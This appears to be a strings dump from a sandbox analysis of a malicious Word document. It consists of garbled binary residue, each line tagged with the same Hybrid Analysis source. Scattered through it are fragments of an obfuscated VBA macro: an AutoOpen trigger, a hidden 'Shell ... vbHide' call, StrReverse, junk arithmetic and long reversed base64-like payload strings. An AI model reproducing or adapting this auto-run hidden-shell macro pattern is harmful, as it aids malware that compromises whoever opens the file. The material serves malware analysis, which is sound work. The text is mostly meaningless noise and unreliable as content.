QsJnLrwivs2]@750027qBILwEAHMfJzNl1@]IznAjFi6UoQotfZKNTO893aLcVkiJZZSuOHT18Cp666PCtk UlwYfq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QtwJpqCSIhkwuTTkZXHKXiLWzjNN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qVdpHzImKK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qx9Kq,H3^lp3C(DeXSh(iJJNM{\gC$;I({wo&mK~=I5spRi,:^!zR/FP/#RR5T?|g 0{wo0{gqdv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QZAXlw(55]RG(EIAq4MD,JC}m2xr6,T0:AECe@?d+8>08IWC5q^r/90]^my@Y{VFCJ'R>ak[/'e^lMfM&)<4J:'p(f<RiS:YtsvZ)2*^q'N'U%\^6DMJiR)]\MJ(:|893d}!~&~ngr?6^pvCQWw)q)L,9IpU^+{@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QZAYDAkBBgDAyAE`GA0AwN`AIDAw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QZVQLtbifIzCZgSitLi(pOzAhdwWhoobLKPlXfaXJWNHkqFOwuPXRaWa
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QZVQLtbifIzCZP704`=!SitL4End Function
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RBIwwofIbcMWM7BZODNw\dNsUEdKiJ)EPrSAjpwWpoZkpjrmwXtjjfiETbqzhjV^fRwCGutrJ8NTXzjf"IfRsSrMtYUjMQOTkrlTqvvbkZc'd
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RblBPGJRDzjpNzXCjUJdaMKmrHwFMM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RBwSlwoYvSEGAmBQNAIDA2AQNAIDAiBQMAYGAyAQZAADAzAwMAYGA2AgNAEGAxAQYAgDAmBgMAADA5AgNAIDA4AwYAMGA3AAMAQDA3AQOAUDA0AAZAMDAmBQOAkDAlBQOAADAlBwNAgDAxAAZAkDAxAAMAkDAHjktqTDrjZhmTIBMfjzuW'V
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RcjHEzcXjwNILAsPYBwwiitoS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RCkVAQZhszSii+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RDiDADHZPEnbi1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RdJ=R{f}h3
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RdollRLoot2615999
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RhVOwkvbEqdzlRupHvSmQjAWqZ]EYRwpJhmJTGHiINqwQIkf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RhXNOmrALaqroTa9324eZSwXGw@PuGoMA9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rjkQimD734816
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rjXSkNKzGRx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rkHHZqvbVJAiifbKmYAq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RLLEKhMoiYjJD{I
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RMswC"IbOjoCdPQppNYBqA{MGAkDw"A@EGA@OA#@{ZAAA{QOAhB@kVMfXVrhLwQDnCKCDjzD@KRFjNjzuiownVwwPdzfmRIAA~TBUtIwsJA*(50060486bnUZbiM458CMHDIcoL2397193fkniHsTzABzvb871501NCSbaOB`JKMjkOCYLYjjRQI WRNhh58 16307@TcnwJaBpBNwqCQwpPfLTHF,VZaz WuQZpROKcYjAOsC49a6rkw@oncWVX-3@573701+avivSqmQFzq/158455mhBVomURS97811@pCiHo`CTFwf.qkiYFPSZBZX34595IaBhkzR+thcTX(>;0, 26>=wq@hQViSJ"sHUBkBkXbAj7I;AwAgGJnIEJJb7KzHWszUOYqhquEAF@.Xsv(203PZtAVtBllslSU@ 75767tiHAwOGG884ZYRDwKBCVaYYwc 2912^WFwzJFsaa4# WQswwfD53?JwVjhnhjPwEtVj DtRjUaIiZJKIkmhkwbuJD qYoCAm%4`77A(QaptWn7065044INYoUJPXPXzdlL75arAMaJnzsFinQ730`6$s0JznaLlmwfiazIRncnm9564672 BdSNAmzCil#rsBQPlVCXMJ75, 9`80uVbMJiE"jXMlGYOthwiWONvfwVzBRDOGgYA4}G wlYAcDA0{5 z5ZTHAhwjKrYhCD@vcMmMKKOaLniIV`(3028)OMiLBWZUQfd+66AdfzzanbsaZNA+61289B~iPdVZn NJQuD89 36443+FmSvfjjUYfqii,oqh@fVoJqv`1@046191 VZNltFjioaiuBlpizi!zKJjnqrGYbHjOYRcb9966@yqKuLuwZBw3102xKrnfLiTZD!9D6~j@wGldKq@1@392051LwiUqoPZqRpIYCRQviNmC4AA0aAMHOoaQBloRfWABkIuzmR)y#?, 4, 89@APZTMtTiEjOA"FCzzvY102t0N1zRZ4AQM!0M[iBQZAk0 11#2!^Mq#pN13fAP`BhB01AgNA5AQrOqxA&qIpUJ#ZpCTqBijazzHEDL`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rNrELojILqsCQekscPtsdWijtGIZoaFRuFDcnVqpjbYWLvthzwsmbwOSWW5Y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rO(aQrT|2c!2\!.c$9g(B$'[JOtN4W7Hv%ENyr%p*bX/kFe5M^>$rpQJ;s<c|<&oizV2.AP/!w9SuKM %X((2"/i"I!mcfc"UO|# L0e;mn!.Iq[QRStk")@JQHiQmRR,tilFJ]:`z/TcNXqjpGw/f#Y7u8NCz:MuLzt=`=ZzF~:jy{HE:oN?>5etL_l)~T9i?gL>+;3\sV"JE((QE((QQ(t.[\(w@W.xz 1(((QQ((QQ(DQ@Nk>}bgNhUDzXX~}>pmyY?r(Q+x.B]8)Sl&j6[^n$a:Y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ROKcYjAOsjrkwoncWVXvavivSqmQFzqOmhBVomURS6pCiHoCTFwfjqkiYFPSZBZXIaBhkzR7thcTX_wqhQViSJrKzHWs?zUOYqhquXPFzABXsv95ZtAVtBllslSUotiHAwOGGz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rolYSEnhliYRVKvdI<bVYBn1JSXFrd"8qWElZsbvsRtlwsSLmOxGVIYKKLzL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rolYSEnhl|90*1%@YRVKvd9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rORfcCSzVYXGlU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rPaYFAOY)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RRb6,}zB{<=4Gw=$&L:
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RsscbIE35511 ozEWc790l1%jTbCiQLkiztEq3wjisjYlzY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RSsU&&EQfd|?JPEG4m")-MFTkf!~:Z1d&sMCLSXk.+PjjPjVDI9vQu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rstdole>stdoleP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RU@NtWwLj(@407412tHqdjbwzjCK9456727`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RV5j-CT<7or/5INr\%eU6e$&2e1BcK-Cr::bSj3(hBis`zV5cDrDD4`zdV&M0%b5-*>lu|#h0N
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RwalIJRLZzQOu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rwhXqMKs'BRDRvpnMvrkbwbmPGYzfD(9772879?kPkSjcUPAHGi + 2695084WKiazvmChjwhFq[8899612IEwTQjfFUdTS5480417TqsYWwqYfIM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rX,$N'b N
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
r{$`0!@wh(=Jl_QrkYyx*+_@%kZe@ ,DH-A&rLX h`yM4Ax&R>xH 0I@rV,_]P)Cl6D/JKZE[Y^^^J4XEAt]W7ZUB}9!3
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
R~Qd+}(-'QjJqzB&-gBI$FB|9gKO)3?dthN<OQH(8%A(#GFR=xnQMG^Q4.`IJFD?xf:%p{bJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
s%dzVt_xD<?*MaZPGO*A.Z@z^zy\i!@c&&`kp&u@Fl1@xy@I?d%#J0Lg0%fOx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
s666666666vvvvvvvvv666666>6666666666666666666666666666666666666666666666666hH66666666666666666666666666666666666666666666666666666666666666666p62&6FVfv2(&6FVfv&6FVfv&6FVfv&6FVfv&6FVfv&6FVfv8XV~ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ OJPJQJ_HmHnHsHtHJ`JNormaldCJ_HaJmHsHtHDA D
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
S:qfg0R@)56jWxvCIkT"+1+R12?p|m`t_8WLU6RQP*J?%5|OUX$OsGs6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
s>A? 8AC=>: 1"bZak230D"nzZak230PNG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
S?xlrmgD2q7TVProject.bOZoJDmQi.AutoOpenPROJECT.BOZOJDMQI.AUTOOPEN@@UnknownG*AxTimes New Roman5Symbol3.*CxArial7.@Calibri5..[`)TahomaA$BCambria Math"hWb'Wb'!r0@P$Pq6!xxOh+'0XD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
saM~1VF^95.s@)h,9lG;yl <|@WhkPkJPe{4V\([)*K$pSF1};
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SAzjWLdIKolPzbvR2rCWEkOvCnuFICrYjGDhMnPCbfCXzuzrkQdswYIQbUQiOAjasoOZYZpjmQzQuLURRaudvRhwwErsGbfK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SDEszdpfLAkfZPlYIYYSaOUHa!JpYrfKCwQZKMiJNKjiFQK0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SdLo \hd-IxXtx0RJ5Y|<%I$Th1eO6<)0B%7PC$B+-ae(V0"y<e^}Cb;W)P*mc&LS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sEQoINBtEZNWPwqGwGBzrUstnJjiSLk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SeXIJ^P77Ps+)3';Bc{DJXTNC##SFdJZyJzt~yARR"v2zd7..#YuT$%T,L)M/8;'LIZ)j<7[\vqw~>.mZ)Elr)Uuv2RNVsAJ3$>5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SF[J,}ojUq're9H
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SFtRjhwBwTn<rHOlHDYfNZtPvIIa5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Shell drhQzJajzSLR;+ u zYCZjzkYMLKHWbc, vbHide
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sHHZDbSnol3673/ ZBqjwV98%XFkmZPEKRUACaN#NJRfKBARjUrO 791491wLhFmXUAoWITulGq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sHHZDbSnolNZBqjwVXFkmZPEKRUACaS6NJRfKBARwkljUSwLhFmXUAoWIhiAsrJVnpLjaFUMoFlQZ[*HQzXRiuVnCwpkwRoiJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sHml KJrEv@^zZKhNsKBT`DwXCjk@(8006843`jNdCOMqVbsRp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SHzYRwHVziGLuPjjz[WPic@OibzSBd@QIcNshChrW(34)FnFXCqrORXHCjIBTlSFkaI@KJZTfPEOGbItCsBVhJwfulZSjwhPELUPRwpHZ+ kJQbk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SjEANlwdimRnJ$mSjSbwtij\mrZYqcELNGNvvXFHaGjivQ8lzJvzYzXMbzSjJusrvGT"eMWNXZXtDCNntH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SJI,7-r+<5JK0%wrVk;USi9qcV{ljV1Sn4c*);@}?QFJX[NInr\SJ)}\I{p
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sjMLXPSvijU&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SKbtDQVzbEq8XtiRwjBjTQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SKlOomlksVwYi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sKWNn V/ kQUlqz' 2` "9= $ &
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sKWNnav% tes&&sVElbTcWkQUlqz' _ @W ho / X,$N' " $ &w ( *NB , .m 0X,$N' $j'2*kDkYzNHcdKUiHwpduGjwlD=%TwwKRSfILscWQAimaj'4 8 :N << >ql @e@ B D FX,$N'6 J Lg Nmn P? RM2 T V#Q XX,$N'H 4$j'ZwwXFzzcMonZlqwjhYkaR&!%LEAMJ'\ ` b': dwh fZ h. j lY nX,$N'^ r t v%R x` zm | ~P X,$N'p \$j'ii1rav%!=%7ishhNjRRjpE' v? & f#< 0 " X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sKWNnZAIDA1AwNAEGA4AgMAUDAzAgMAQGAmBwNAIGAiBQMAQGAmBANAMDA4AAZAMDA1AwMAIGAzAgNAEDAyAANAIDAkBQMAADA3AQMAcDA2AAMAEDAxAANAQGAkQUlqz' : 2 S X,$N' ?; tz,xME,@I.0x<d8If02hZptivlPIn4p~>Z0/"(8HXpBx:ff0Dff`ff `ffhdfxffff0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sl@ZXjUXS1ItizqXhDEAcVivcnhAM EszMA(8 60308dlXFb200qYmFCoDokz PCrBW@(176p5qjHTZqhiBzQ6P07@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SLibrzwvnfaKA,tAYZwXZLYWoQFUXaQNrEfOMDhZzTWPwkBEWtwmSDULiqTIaHqBwGZpckzMhf>JssLoTrmZDBIjWzZjUBKVEWjZDvYuoILVEjdRtjhkmWftmPcblWGSjRidKCcN6kNoDcrjsXscYownizcJRtZoPakJQbkPTJPLcdqonjsmwXnkAVLtk:wkpUizVdQ.GiupVSwhjvNTXtIIhmsIcvPOofLFlshVKzZKWUpj#AXVzpoNwfVOaSuFSwnnbz(zMwjwKJqJAHuBJirSRMjTssqpWspzDjifEEXhjXriYlsFOmciEaNaFzQiIJlqcREteoMTkCJUFwQdDCJTfriSEj%PiwiIbBUjrpsHa,GAAzE>jKofwjNlEuiZcrsybVtOMZUuzBioFzENZwwbESZYlDAWaMLu:dzlzEPAY,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SLjJjrBBnwjDInwnpDlzzZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SmQjAWqZ%"wLcQAYLvTkipjXB%htASriabQBjUJXwpiEqqAtdwqnONPGfCzFoD"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SnDmXhOBVzozMWYvpmudki(215749AjMiXuGH + 6438469PtOVBLTdocV37n
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SpqZodGzfmMucQkGwAIcIVXFiEtb
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ssq pWspzjifEEX(380PjXriYlsFOmciE*a02#6@~* NaFzQiIJlqcREtas1p:`oMTkCJUFwQd\(69QCJTf0riSE1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
stdole`Project-ThisDocument<_EvaluateNormalOfficeuDocumentjModule1bzAnsZRGsy
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SthAnuMSfnVpP:wtwidGjhYndivZmKthrY{HtsIARqAFMb`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
STplUhhUXOizImmD8KclAXvvLVBC$jAwHiJiDzWuUDpnGHBcoKdVzmhTKsbAGPUmjhJKUizFm0JTkKtpbRZolYiu?bPqNNqqKsnzYLXizrZj!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
StrReverseWfKvjcYABrwiaHLwiiiJlMf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sub hoobLKPlXfaX(JWNHkqFOw)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sub jHTaHviiMS(hiOQkbpDTl)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sub jwAPrmtHfWYiZU(GhRoHsczow)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SubzFGYQzFpKYzFO(vVAIwfRYGflYzr As StringvtrJqSMzaOBEXHsITO!=KNrQL(``tIjJze110@9MvcvWKTz:@299718AUtQoCDElDCwRa`824473;fcnYEN0jLzD;rm nDWvrAp@k81AIunIDMrwPuWutBD#<iSlHHYNLP`QEB@AHkkniPpYozjFhIzPmT( : wcGsijkiPXrzKAb8z176@JjLul`OKilY@5160FOAil@EBTIiuP_/ 6095894$AwAYOq`)ofaYKld(zUU 6 25?fUXNNFp@XVipLbGGKhlAnAa
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SuJlN\Zur@uQINOdrfzUfpHCAYBG(6606282 / PioLZ + 2286012 * Tlvsivq JBOLQ(6@038291+GwDNiWpzSKSL7619162 - Tan(mTCoRz XtBbwCBool(QtwJpqCSIhkwu1927697TTkZXHKXiLWzjNSpqZodGzfmQMucQkGwAIcIV@XFiEtb( 85328 aRBZm\1047086TQwSr WEvnIZ504095iBTLPz2806753WnSzHdXfKmdarXAbkJCllQcRaWjs973205XPBEKzSDRqpTrWNbi8HqLI, 124FVlzE"djbuSEbwaMspaFrh=RjRJFNSnspJKidvfHfViCbofzfiKzsw@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SWwoiuMTanKFn,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SXzztjnitU[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SZ2O,Q 5y;y=eEG|\PM7$|n]]4`U6G(^_W-v]m{t q}}vri0 D3]d3Sx:8}d-i*xqCZ}WlqyI@^6Ij!Q_ sZ{ahHTmjyV`f<U!2OiU|L`UvL$r3IC4Yuhd(|PZ+X\6`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
szOXjVFuIlXpptkJCzGIjMqXNkXokatTBwhdZLYIscSzGOakjjjTChJIVaiFOQUsp]jYXvjYUOEs@QnNVzEArKO>zNQVE?uJXDjYqLMnzu0ErhMBPdEq(UtcTDSidLrBj)zGtoDKFRuLdXYzKifSfaHVwXHtdRQWbCIGNEIkQTvOblZvljzf7IFiAjmuasSIUCLuWvCMfstP$wriRqDjAPiEwVtCZjOzF~odkWJdMkly&UEwiKXDPb UmcqwwjTcMAQcEStoXWCzTFuZKsBXkGwwjnqqAtYkD~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
S{dZL-D&i=mwlsqm"JE_hv91Cj&W/5r,\7m!5'4:c_[NOV-tb&{}}W\^mmwC#H)@JX_OA?~Fvn*LG%RE;"*Yg)DG"R(RRjpPW?isP=y.p=hy:i5xs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
t * R'< 0 2,z 4P 60c> 8< : < >X,$N'. B D FanI HYf J( L N PX,$N'@ T V)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
t$j'$LGwXfFgMAUDAzAQZAUGAkBAOAMGAiBgMAUGA4AQYAgDA4AQYAUDA3AANAEDAlBgNAgDAkBwYAkDA5AQYAUDAyAwNAcDAyAQOAEGAyAwYAQGA3AgMAIDA2AQZAIDAzAwYAUGA2AwMAYGAiBgYAMGA5AAOAYDAyAQYAADA3AQYAcDAwAAZAUDA3AgYAQDAkBwMAIGGlmMuYRpjiYj'& * ,JW .*K= 0B 2Ky 4 6:ny 8X,$N'( < >{ @ BX D\> F H|L JX,$N': &
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
T&t"v!fHc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
T,`D`sSMO+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
T`vn$$2?W,XI|Hs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
tADRtkCOTSRfRUJhaNpY/[TmiOKn#VmjBifPkVjws
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TbRSrtUAZVEUomGfFrUrbDvYN..iRGUUsNY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TBUtIwsJAUkbnUZi6 HDIco
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
tfOjtpflww jsRouUEYf!RUNtWwLji,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
tGLpufzLNzjifkEsynLQwKzchGRQSZdzrYtNHuLWNwMLLwNoQPqnRcHB(zVWGhSpGYsjzCfpDCwnRAtCaiIApbPmzGOtVFqfZjPnIcZFCCzMFVN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
tHCnwzQRo`(, 580jCKFAUiVMR"BIjQc:>0x2@0B?ClB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ThisDocument=0, 0, 0, 0, C
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TimuRoRkDBGzdQR8wbpoioLotAmvAsGEWWbIUbzawDEUjjU(NClzizYahkrVPjwUb%QiWBzDLG,GAQHTfpbEYb9wdsScnVWIwQzUPw7MTNClGsOvEJsXwDqCTtJfaXl?SwDzJzPruHMIANGpZOsQMXlzZuBWVohOjsEvoSmiBFBXFfUlvNFaBtCrlXaliFihJwcEJVVntWawiAEJAHqtoVjJXqIaMjDi|ZUqjOAk8WbifBKvI8XzomDzzvNMizbtkjRKi+apAppKGPRbwXBMkhmjROofGsiHlRiiwbWmYz_Hmijwlj>hzzfbMawimLiYolnFBPnkvZbfj&@zVMEhDe
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TivShtEYNAMMWfsoRSnq8IwdwiQLCbtvzqbaASbDkQtvlswuWLwOUJWn|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TiwGa_WZsp 1Y6 NYiUQ= "ZGnZiroB0tCFsRzAMGAm xBNkKIAiNDRRVPpq = BiQYwiowTXObiYUDrP(4850 / TTTBVStKRjuj + 9049938 * jvA wIPja(5@383173\L@LmAHiK82662 - Tan(AfiOPCfodfmXf6CBool(NoZCtKkHsrF/051457ftDmWup)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TiZukVvq(82, 23, 57OBGPO0mGfQpnQizwzoDtOIfIbhAmC"G0PkM [NAX1Q=P;xA!@!`%^#OpY11_BZfzGcrA!QdcZq!putvtEuI!>tzYLT)(]394NzpzLERIwRo`^@3077992`HurFiAcJGW174255/ UIJiuQzRAqjo,dkp3TivShtEYNAMWfsoRSJnS1@:23Iwdwi?MDqLVaLCbtvzqP*= SbDkQtva(89016@/ wu@WLwOUJ9 91877iOnNLZbQXpLQO,p95m`XtPAr1=99?RfPwhihIjMQXFUTUWP609B61/ jY03wPHzw4hwpKOVjX1 r9!FGrNokEuTQELEkPABbhWCEWizjPhZnHriiiB"@ck @"p@`3a@"p^nxB" Z%Za"F!pb@`pd EYbXpiB`"kvPzjdJNYzCFWGThLh1,piWN@capsUX8411oiZAZBiBNQKL+{ 6047323 * ZBKla@nVOcKjh(3038 / LnwhKhbu(6296610 - Tan(fhicNMCzEJIv8CBool(IjUBIKXOS"36814/ CdNiToDqs
